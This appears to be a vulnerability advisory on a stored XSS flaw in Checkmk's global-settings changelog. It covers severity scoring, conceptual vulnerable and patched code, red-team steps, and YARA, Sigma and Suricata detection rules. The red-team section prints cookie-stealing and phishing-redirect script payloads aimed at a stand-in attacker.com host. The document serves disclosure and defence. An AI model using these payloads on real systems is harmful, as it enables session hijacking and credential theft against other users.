CVE-2026-8078

Executive Summary

CVE-2026-8078 is a stored cross-site scripting (XSS) vulnerability in Checkmk, an open-source IT monitoring platform. An authenticated administrator with the ability to modify global settings can inject malicious HTML or JavaScript into changelog messages. When other users (including other administrators or operators) view the "Activate Changes" page or the Audit log, the injected payload executes in their browser. This can lead to session hijacking, credential theft, or further lateral movement within the Checkmk environment.

The vulnerability affects Checkmk versions prior to 2.5.0p5, 2.4.0p31, 2.3.0p48, and all 2.2.0 versions. The CVSS score is 0.0 in the NVD data, but based on the vector, the actual severity is low (3.1) due to the requirement for high privileges and user interaction. However, the impact is amplified in multi-tenant or shared monitoring environments where a malicious admin can target other admins or operators.

No public exploit code or Nuclei template is available at this time. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the vulnerability is trivial to exploit once an attacker gains admin access.

Supply Chain & Package Security

Checkmk is a Python-based application distributed as a Debian/Ubuntu package or Docker image. The vulnerability is in the core application code, not in a third-party library. However, administrators should verify the integrity of their Checkmk installation by checking package signatures and ensuring no unauthorized modifications have been made.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker must be an administrator with permission to change global settings.
• User Interaction (UI): Required (R) – The victim must view the Activate Changes page or Audit log.
• Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify data (e.g., perform actions as the victim).
• Availability (A): None (N) – No impact on availability.

Overall CVSS Score: 3.1 (Low)

Threat Level: Low (due to high privilege requirement), but Critical in environments where multiple administrators or operators share the same Checkmk instance.

Deep Dive & Mechanics

The vulnerability resides in the global settings change log functionality. When an administrator modifies a global setting (e.g., monitoring thresholds, notification rules, or authentication settings), Checkmk logs the change in a changelog message. This message is displayed on the "Activate Changes" page and in the Audit log.

The changelog message is not properly sanitized before being stored and later rendered in the browser. An attacker with admin privileges can craft a malicious global setting change that includes HTML or JavaScript in the changelog message. For example, they could set a global setting to a value that, when logged, contains a payload like <script>alert('XSS')</script>.

When another user (including other admins or operators) navigates to the "Activate Changes" page or the Audit log, the stored payload executes in their browser. This can be used to steal session cookies, perform actions on behalf of the victim, or redirect them to a phishing page.

The vulnerability is stored (persistent) XSS, meaning the payload remains in the changelog until it is manually cleared or the log is rotated.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# In the global settings change handler
def log_change(setting_name, old_value, new_value):
    message = f"Changed {setting_name} from {old_value} to {new_value}"
    # No sanitization of old_value or new_value
    changelog.append(message)

Patched Code (Conceptual):

import html

def log_change(setting_name, old_value, new_value):
    # Sanitize the values before logging
    safe_old = html.escape(str(old_value))
    safe_new = html.escape(str(new_value))
    message = f"Changed {setting_name} from {safe_old} to {safe_new}"
    changelog.append(message)

The patch ensures that any HTML or JavaScript in the setting values is escaped before being stored in the changelog. This prevents the browser from interpreting the payload as code.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Admin credentials to a vulnerable Checkmk instance (version < 2.5.0p5, < 2.4.0p31, < 2.3.0p48, or any 2.2.0 version).
• Ability to modify a global setting that generates a changelog entry.

Exploitation Steps:

1. Log in to Checkmk as an administrator.
2. Navigate to Setup > General > Global settings.
3. Choose a setting that will be logged (e.g., "Site configuration" or "User notification").
4. In the value field, inject a payload such as:

   <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
   

5. Save the setting. The changelog will now contain the malicious payload.
6. Wait for another user (e.g., another admin or an operator) to view the "Activate Changes" page or the Audit log.
7. When the victim views the page, the payload executes, sending their session cookie to the attacker's server.

Example Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Example Payload (Phishing):

<script>
window.location = 'https://attacker.com/fake-login?redirect=' + window.location;
</script>

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual global setting changes, especially those containing HTML tags or JavaScript.
• Review the Audit log for entries that contain <script>, <img>, <iframe>, or other HTML tags.
• Use web application firewalls (WAF) to block requests containing XSS payloads in setting values.

Prevention:

• Apply the vendor patch immediately.
• Restrict admin access to only trusted users.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use input validation and output encoding for all user-supplied data.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains from the Checkmk server.
  • Suspicious URLs in the Audit log containing <script> or other HTML tags.

• Host IOCs:

  • Unusual entries in the Checkmk changelog database (e.g., entries containing HTML/JavaScript).
  • Modified global settings with unexpected values.

• Log IOCs:

  • Audit log entries containing %3Cscript%3E (URL-encoded <script>).
  • Multiple failed login attempts from the same IP after a successful XSS attack.

Detection Engineering

YARA Rule

rule CVE_2026_8078_Checkmk_XSS {
    meta:
        description = "Detects stored XSS payloads in Checkmk changelog entries"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-8078"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /<img[^>]*onerror[^>]*>/i
        $xss3 = /<iframe[^>]*>/i
        $xss4 = /onload\s*=/i
        $xss5 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: Checkmk Stored XSS in Global Settings Changelog
id: 8f7a3b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects potential XSS payloads in Checkmk global settings changelog
author: Valters IT
date: 2026-01-01
logsource:
    product: checkmk
    service: audit_log
detection:
    selection:
        EventID: 1001  # Example: Global setting change event
        Message|contains:
            - '<script'
            - '<img'
            - '<iframe'
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in setting descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-8078 Checkmk Stored XSS - Outbound Cookie Steal"; flow:to_server,established; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Checkmk to version 2.5.0p5, 2.4.0p31, 2.3.0p48, or later.
2. If upgrading is not possible, restrict admin access to only trusted users.
3. Review the Audit log for any suspicious entries and clear them.

Long-Term Mitigations:

• Implement a Content Security Policy (CSP) that blocks inline scripts.
• Use a web application firewall (WAF) to filter XSS payloads.
• Enable input validation and output encoding for all user-supplied data.
• Regularly audit admin activities and changelog entries.

Workaround:

• Disable the global settings change log feature if not required (not recommended as it reduces auditability).

Valters IT